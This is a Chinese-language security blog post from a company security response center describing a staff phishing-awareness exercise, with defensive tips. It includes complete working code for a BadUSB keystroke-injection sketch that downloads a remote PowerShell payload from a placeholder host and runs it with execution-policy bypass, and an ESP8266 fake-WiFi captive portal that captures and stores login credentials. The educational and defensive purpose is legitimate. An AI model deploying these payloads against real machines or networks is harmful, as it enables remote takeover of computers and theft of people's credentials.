伴随着互联网业务蓬勃发展和疫情影响,很多企业都采用了不同程度的线上办公形式,这导致内部网络和终端设备成为了恶意攻击者的众矢之的。据调查,如高校、政府、商业、服务行业等领域的企事业单位每个月都会遭受上万次的恶意钓鱼攻击。
为提高公司员工的安全意识水平,掌握基础的安全防范知识 ,阻止未知的风险,有效保护信息资产,我们在公司安全月期间开展了一次钓鱼体验活动,让员工亲身感受一下网络钓鱼的类型以及可能带来的各种风险。
0x01 网络钓鱼介绍
网络钓鱼(Phishing,与钓鱼的英语 fishing 发音相近,又名钓鱼法或钓鱼式攻击)是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。
如今,网络钓鱼已成为黑客惯用的攻击手段,其具体方法也不仅局限于使用邮件钓鱼,攻击者可能会通过电子邮件、恶意软件、互联网协议语音、文本和其他可用的通信渠道破坏公司以及个人的重要的隐私数据,甚至用高价值的隐私信息向目标索要高额勒索金。
在红蓝对抗的场景下,钓鱼、近源攻击也逐渐演变为一种精准、高效的打点手段,通过构造恶意链接窃取敏感信息,或者通过恶意程序夺控目标权限……
笔者最近接触到了多种钓鱼方法,发表本文浅谈一下收获,同时准备了几个简单的demo供大家了解和学习。本文旨在交流技术,严禁从事不正当活动。网络不是法外之地,争做遵纪守法好公民。
0x02 U盘钓鱼
利用U盘钓鱼的一般设计思路是,攻击者在U盘中植入病毒,利用拾到者想偷窥别人信息的心理,诱导拾到者插入并打开U盘中的文件,进而触发病毒实现入侵。实现这种攻击,关键在于如何让受害者受到诱导,这里涉及到社会工程学的一些思路,比如将病毒文件命名为“内部文件”、“项目文件”,或者伪装成图片、视频等。
随着群众安全意识的增强,上面说的这种攻击的成功率有所下降,于是新的攻击形式应运而生,攻击者也开始采用这种更快速、有效的攻击手段——BadUSB。
最初BadUSB是由安全研究人员Karsten Nohl 和 Jakob Lell 在 2014 年黑帽会议上首次发现并暴露出来的,这也就让usb安全和几乎所有和usb相关的设备(包括具有usb端口的电脑)都陷入相当危险的状态。实际上BadUSB已经不是严格意义上的U盘(移动存储设备),其外观与一般U盘无异,但内部的电路在上电之后会被系统识别为HID(Human InterfaceDevice)设备 ,此时该设备内部的芯片开始与电脑进行键盘通讯,仿照人的输入习惯,来操作电脑,以此达到骇入电脑的目的。
在U盘钓鱼体验区,我们提前准备了一个BadUSB,由体验者插入受害者电脑,可以在攻击端CS上看到受害设备快速上线,并且达到受控的效果。
Demo制作
关于硬件的制作和调试,我烧录了如下代码:
#include<Keyboard.h>
void setup() {
// putpower shell your setup code here, to run once
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1”); //无回显
//Keyboard.println(“cmd /T:01 /K \”@echo off && mode con:COLS=15 LINES=1\””); //有回显
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println(“powershell\n”);
Keyboard.println(“$clnt = new-object system.net.webclient;\n”);
Keyboard.println(“$url= ‘http://xxx.xxx.xxx:xxxx/payload.ps1’;\n”); //远程服务器ps1远控地址
Keyboard.println(“$file = ‘d:\\xxx.ps1’;\n”); //下载到目标存放文件的地址
Keyboard.println(“$clnt.downloadfile($url,$file)\n”); //采用分段执行绕过防火墙进程防护
Keyboard.println(“powershell.exe -executionpolicy bypass -file d:\\xxx.ps1”); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}
代码中的一些提示:
- 12行,打开CapsLock键大写锁定,防止中文输入法在运行窗口敲出汉字导致后面的命令无法执行。
- 15行,/q 关闭cmd窗口的回显,考虑到攻击痕迹的擦除;/d 禁止从注册表执行 AutoRun 命令;/f:off 禁用文件和目录名完成字符;/v:on 使用 ! 作为分隔符启用延迟的环境变量;MODE con: cols=15 lines=1调整行数和列数。
- 21-26行,打开cmd窗口,下载远程木马,绕过防火墙进程防护,调用powershell执行,实现远控。
插入BadUSB后,攻击流程大致是:
- 插入BadUSB后等待3秒
- 执行Windows+R
- 切换大写绕开输入法
- 模拟输入字符串,打开cmd窗口
- 下载远控并调用powershell执行
线下体验
如果不慎被这种BadUSB攻击,可能会造成这些后果:设备受控、文件失窃、隐私泄露、遭到恶意勒索、设备无法正常使用……
在体验活动中,为体验者准备了几个效果展示:
1、通过VNC Desktop的功能,模仿攻击者使用鼠标控制受害者的电脑。
2、通过File Browser,模仿攻击者可以遍历受害者的文件列表,并且对文件可以进行增删改查的操作。
3、模仿攻击者对受害者展开恶意勒索
4、模仿攻击者窥探受害者设备中一些隐私信息,体验活动中泄露了受害者电脑连接过的WiFi及密码
5、模仿攻击者使受害者电脑蓝屏、自动关机等影响电脑正常工作的操作
防护措施
面对随时可能遭遇的U盘钓鱼攻击,我们向公司员工提出了如下防护措施
- 提高警惕,不要使用陌生的U盘
- 离开工位时,切记锁定电脑屏幕
如果发现了自己的设备遭到恶意控制或者隐私信息遭到泄露,请第一时间切断网络;使用多种杀软进行全盘的病毒扫描;将设备送至官方或公司安全部门;必要时可寻求警方的帮助。
0x03 WiFi钓鱼
WiFi钓鱼这种攻击方式常出现在人流量比较密集的公司、商场,在这些公共场所我们可能会发现有免费开放的WiFi,这很可能就是攻击者伪造的钓鱼WiFi,其目的是窃取受害者的重要信息,可能会导致账号失窃、隐私泄露甚至是遭到恶意勒索等严重后果。
目前,我国尚未对公共场所无线网络推行实名制,各个WiFi服务提供商和安全软件厂商都实行各自的安全标准,整个行业缺乏统一标准,行业进入门槛很低,这也是导致WiFi钓鱼出现的原因之一。
大家可能会发现,一些场所WiFi通常会在连接后弹出采集信息的页面,引导用户填写姓名、手机号、账号密码等,其目的是核实用户身份,是否有权限使用场所WiFi。利用了这一点,攻击者将钓鱼WiFi伪造成官方WiFi,钓取受害者的真实信息。如果钓取的是账密一类的身份认证信息,我们的账号就存在被盗用的风险;如果是身份1证号、手机号等社工信息,也可能会遭到电信骚扰、诈骗等威胁。
除了钓取信息以外,攻击者还可能通过内网监听对受害者进行攻击。攻击者通过对受到的网内所有的广播流量进行窃听,受害者的隐私信息,包括百度网盘上传的照片、刚发的微博等便可被攻击者轻松获取。
Demo制作
在现在体验展台,我们使用到了ESP8266开发板,其内置的WiFi模块可以达到制作一个简单的钓鱼WiFi的作用,由此,我烧录了如下代码:
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiClient.h>
#include <FS.h>
// DNS默认端口,无需修改
const byte DNS_PORT = 53;
// WIFI名称
const char *ssid = “*****”;
// AP的IP地址(即网关地址)
IPAddress apIP(192, 168, 1, 1);
// 查看存储密码的密码
String ppassword = “123456”;
DNSServer dnsServer;
ESP8266WebServer webServer(80);
// 存储账号密码
String data = “”;
// 认证页面
String responseHTML = “<html><head><meta http-equiv=\”refresh\” content=\”1;URL=’http://192.168.1.1/index.html’\”></head></html>”;
// 登录失败页面
String responseHTML_error = “<html><head><meta http-equiv=\”refresh\” content=\”5;URL=’http://192.168.1.1/index.html’\”><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>”;
String getContentType(String filename){
if(webServer.hasArg(“download”)) return “application/octet-stream”;
else if(filename.endsWith(“.htm”)) return “text/html”;
else if(filename.endsWith(“.html”)) return “text/html”;
else if(filename.endsWith(“.css”)) return “text/css”;
else if(filename.endsWith(“.js”)) return “application/javascript”;
else if(filename.endsWith(“.png”)) return “image/png”;
else if(filename.endsWith(“.gif”)) return “image/gif”;
else if(filename.endsWith(“.jpg”)) return “image/jpeg”;
else if(filename.endsWith(“.ico”)) return “image/x-icon”;
else if(filename.endsWith(“.xml”)) return “text/xml”;
else if(filename.endsWith(“.pdf”)) return “application/x-pdf”;
else if(filename.endsWith(“.zip”)) return “application/x-zip”;
else if(filename.endsWith(“.gz”)) return “application/x-gzip”;
return “text/plain”;
}
// 查看存储的账号和密码
void paw(){
if(webServer.arg(“key”)==ppassword){
webServer.send(200, “text/plain”, data);
}else{
webServer.send(200, “text/html”, responseHTML);
}
}
// 记录从钓鱼界面传过来的账号和密码
void pass(){
if(webServer.arg(“user”) != “” && webServer.arg(“pass”) != “”){
data += “username:”;
data += webServer.arg(“user”);
data += “—-password:”;
data += webServer.arg(“pass”);
data += “\r\n”;
webServer.send(200, “text/html”, responseHTML_error);
}
}
void background() {
File file = SPIFFS.open(“/background.jpg”, “r”);
size_t sent = webServer.streamFile(file, “image/jpeg”);
file.close();
return;
}
void bootstrap() {
File file = SPIFFS.open(“/bootstrap.css”, “r”);
size_t sent = webServer.streamFile(file, “text/css”);
file.close();
return;
}
void logo_r() {
File file = SPIFFS.open(“/logo.png”, “r”);
size_t sent = webServer.streamFile(file, “image/png”);
file.close();
return;
}
void favicon() {
File file = SPIFFS.open(“/favicon.ico”, “r”);
size_t sent = webServer.streamFile(file, “image/x-icon”);
file.close();
return;
}
void main_r() {
File file = SPIFFS.open(“/main.css”, “r”);
size_t sent = webServer.streamFile(file, “text/css”);
file.close();
return;
}
void middle_r() {
File file = SPIFFS.open(“/middle.png”, “r”);
size_t sent = webServer.streamFile(file, “image/png”);
file.close();
return;
}
void uname_r() {
File file = SPIFFS.open(“/uname.png”, “r”);
size_t sent = webServer.streamFile(file, “image/png”);
file.close();
return;
}
void upwd_r() {
File file = SPIFFS.open(“/upwd.png”, “r”);
size_t sent = webServer.streamFile(file, “image/png”);
file.close();
return;
}
void index_r(){
File file = SPIFFS.open(“/index.html”, “r”);
size_t sent = webServer.streamFile(file, “text/html”);
file.close();
return;
}
// 首页
void handleRoot() {
File file = SPIFFS.open(“/index.html”, “r”);
size_t sent = webServer.streamFile(file, “text/html”);
file.close();
return;
}
void setup() {
// WIFI配置
Serial.begin(9600);
SPIFFS.begin();
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
WiFi.softAP(ssid);
// DNS配置
dnsServer.start(DNS_PORT, “*”, apIP);
// 配置404网页为首页
webServer.onNotFound([]() {
webServer.send(200, “text/html”, responseHTML);
});
// 配置查看密码网页
webServer.on (“/key123”, HTTP_GET, paw);
webServer.on(“/”, handleRoot);
// 配置登录接口
webServer.on(“/pass”, HTTP_GET, pass);
webServer.on(“/background.jpg”, background);
webServer.on(“/bootstrap.css”, bootstrap);
webServer.on(“/logo.png”, logo_r);
webServer.on(“favicon.ico”, favicon);
webServer.on(“/main.css”, main_r);
webServer.on(“/middle.png”, middle_r);
webServer.on(“/uname.png”, uname_r);
webServer.on(“/upwd.png”, upwd_r);
webServer.on(“/index.html”, index_r);
webServer.begin();
}
void loop() {
dnsServer.processNextRequest();
webServer.handleClient();
}
代码理解为收集到受害者输入的信息,传至攻击者监控的后台。我又伪造了一些Web页面,让整个WiFi钓鱼的环节更加完整,也提高了鱼上钩的概率。
线下体验
体验者连接到钓鱼WiFi将自动跳转到如下页面:
页面引诱体验者输入账号密码,体验者提交表单后,其信息立刻就能在攻击者监控的后台中查看:
下面是内网监听攻击中截获的流量数据,可以看到体验者输入的账号密码等关键信息,其中的加密部分也可以通过MD5解码破译,得到明文数据,造成的隐私泄露危害极大。
防护措施
为预防由于WiFi钓鱼所产生的后果,我们可以采取以下防护措施:
- 关闭移动设备(如手机、平板电脑)的WiFi自动连接功能,避免自动接入钓鱼WiFi
- 可以使用一些手机、电脑安全软件检测网络安全情况
- 尽量避免使用公共场所的无密码开放WiFi
- 使用场所WiFi前,要确保此WiFi真实可信
- 连接公共WiFi时,避免输入账密、转账交易等敏感操作
- 定期更改个人社交账号密码及网银密码,同时避免使用弱口令,密码复杂度尽量涵盖“大小写字母+数字+特殊符号”
如果发现WiFi钓鱼攻击,请及时向有关部门举报。如果已经遭到攻击,请立刻进行修改登录密码、锁定登录设备、挂失银行卡等操作。
更多技术文章请关注货拉拉安全应急响应中心微信公众号
公众号 | lalasrc
邮箱 | llsrc@huolala.cn
官网 | https://llsrc.huolala.cn
发表评论
您还未登录,请先登录。
登录